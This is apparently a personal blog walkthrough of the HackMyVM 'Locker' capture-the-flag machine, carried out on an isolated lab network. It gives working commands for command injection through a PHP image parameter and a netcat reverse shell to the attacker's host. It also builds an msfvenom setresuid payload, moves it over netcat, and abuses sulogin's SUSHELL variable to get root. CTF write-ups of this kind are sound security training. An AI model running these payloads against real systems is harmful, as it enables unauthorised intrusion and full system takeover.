HackMyVM | Locker

In this walkthrough, I demonstrate how I obtained complete ownership of Locker from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Easy Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.98 scan initiated Tue Feb  3 16:38:44 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.12
Nmap scan report for 10.9.9.12
Host is up (0.00059s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb  3 16:38:58 2026 -- 1 IP address (1 host up) scanned in 13.27 seconds
echo -e '10.9.9.12\t\tlocker.hmv' | sudo tee -a /etc/hosts

Add hosts entry for convenience





Service Enumeration

TCP/80

Initial Enumeration

💡
/locker.php accepts an ?image parameter. If I had to guess, it's looking for files in the current directory of the web application or a hard-coded path specified in the source code.

Initial thoughts are that it looks like potential for path traversal and / or file inclusion.
Probably just broken because the file doesn't exist



Fuzzing for File Inclusion

ffuf -u 'http://locker.hmv/locker.php?image=FUZZ' \
-fs 58 -enc FUZZ:urlencode \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
💡
There's something about this byte sequence that causes the application to break: %26%3D%253C%253C%253C%253C. In order to understand it, I'll start by appending each byte onto the path traversal payload.
We don't even need to encode the / in the query string
💡
%26 is & in URL-encoding (which is just hexadecimal).
We'll need a look at the source code to figure out why this is the case
We can read the source code and reveal the inner workings
ℹ️
We only have control of the ?image input and in the case of this app, it's configured to build a shell command of cat "{input}".jpg | base64.

So, when we do something like ?image=file%26, we're causing the command to terminate, since & indicates the end of the command. So, we should be able to do something like ?image=file%3b since ; indicates the end of the command.
Testing for command chaining

We can see in the command above that the z||sleep x commands directly correlate to the command run time shown in the time output. The syntax z|| works, because z is not a real file, therefore the command cat z will fail and the command on the right side of || will be run by the shell and ; will terminate the command.



Exploit

Local File Read to RCE

  1. Using a word list to fuzz ?image, we found a working payload to read files from the system by appending the & to the end of the file name
  2. Reading the source code, we could see the inner-workings for locker.php and see the command was just passing a concatenated string to shell_exec()
  3. Building from there, we exploit the shell's Boolean logic to trigger an arbitrary command
curl -i -G 'http://locker.hmv/locker.php' --data-urlencode 'image=z||man nc;'

Running man nc on the target, confirm it is built with the -e flag, so easy shell

sudo rlwrap nc -lnvp 443
curl -i -G 'http://locker.hmv/locker.php' --data-urlencode 'image=z||nc -n 10.6.6.6 443 -e /bin/bash;'





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux locker 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

bash: sudo: command not found



Users and Groups

Local Users

tolocker:x:1000:1000:tolocker,,,:/home/tolocker:/bin/bash

Local Groups

    cdrom:x:24:tolocker
floppy:x:25:tolocker
audio:x:29:tolocker
dip:x:30:tolocker
video:x:44:tolocker
plugdev:x:46:tolocker
netdev:x:109:tolocker
tolocker:x:1000:



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:e9:a7:7b brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.12/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 6566sec preferred_lft 6566sec
    inet6 fe80::be24:11ff:fee9:a77b/64 scope link 
       valid_lft forever preferred_lft forever



Interesting Files

/usr/sbin/sulogin

find / -type f -perm /4000 -exec ls -l {} \; 2>/dev/null
-rwsr-sr-x 1 root root 47184 Jan 10  2019 /usr/sbin/sulogin





Privilege Escalation

Becoming Root

SUID Binary

When sulogin is run, it will look for a couple of environment variables -- SUSHELL or sushell (you can read more by running man sulogin). If you do not provide either environment variable, it will look at /etc/passwd to see what the login shell is for root.

So, if you run /usr/sbin/sulogin, it will run /bin/bash, as defined in /etc/passwd for the root user. However, when /bin/bash is loaded, the SUID permissions are dropped.

sulogin ran /bin/bash, but dropped SUID permissions
💡
The idea here is that if you pass the SUSHELL or sushell environment variables, you can force sulogin to load an arbitrary shell binary. So, if we forge a binary that retains SUID permissions, then when sulogin runs, we will be running with root privileges.
msfvenom PrependSetresuid='true' AppendExit='true' CMD='/bin/bash' \
-p linux/x64/exec -f elf -o pwn

Generate a binary that will execute /bin/bash. PrependSetresuid='true' is what retains the SUID permissions here.

sudo nc -q 3 -lnvp 80 < pwn

Start a TCP socket on port 80 and get ready to transfer to the target

nc -q 3 -n 10.6.6.6 80 > /tmp/pwn

Transfer the binary to the target

chmod +x /tmp/pwn
SUSHELL=/tmp/pwn sulogin --force



Flags

User

flaglockeryes

Root

igotroothere
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.